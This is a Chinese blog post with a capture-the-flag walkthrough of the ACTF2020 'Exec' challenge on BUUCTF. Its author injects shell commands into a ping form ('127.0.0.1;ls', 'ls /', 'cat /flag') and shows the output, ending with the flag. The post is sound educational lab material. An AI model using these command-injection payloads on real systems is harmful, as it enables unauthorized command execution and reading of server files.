

[ACTF2020 新生赛]Exec

原创

Wuuconix 于 2021-03-07 14:21:19 发布 39 收藏

文章标签: [安全](#) [unctf](#)

Wuuconix wanna a girlfriend!

本文链接: https://blog.csdn.net/Cypher_X/article/details/114483122

版权

[ACTF2020 新生赛]Exec

打开来发现还是和上一题一样, 让我们输入ip, 这次我们就轻车熟路了, 直接

```
127.0.0.1;ls
```

PING

PING

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes  
index.php
```

https://blog.csdn.net/Cypher_X

那让我们cat 一下index.php吧, 好吧, 没什么用

BUUCTF command execution

dac9fda0-2138-4b0e-b01e-8c7461e36be8.node3.buuoj.cn

PING

PING

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes
```

PING

PING

https://blog.csdn.net/Cypher_X

那就去根目录下找找flag吧，很快发现了flag字样

```
127.0.0.1;ls /
```

PING

```
127.0.0.1;ls /
```

PING

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes
bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
```

https://blog.csdn.net/Cypher_X

那就直接cat一下吧，没什么过滤，直接出flag了，简直是简单到不行啊~

PING

```
127.0.0.1;cat /flag
```

PING

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes
flag{315252a0-13d0-4db7-baf9-b76d10879f57}
```

https://blog.csdn.net/Cypher_X

这道题比之前的题目[GXYCTF2019]Ping Ping Ping>可简单太多了



[创作打卡挑战赛](#)

[赢取流量/现金/CSDN周边激励大奖](#)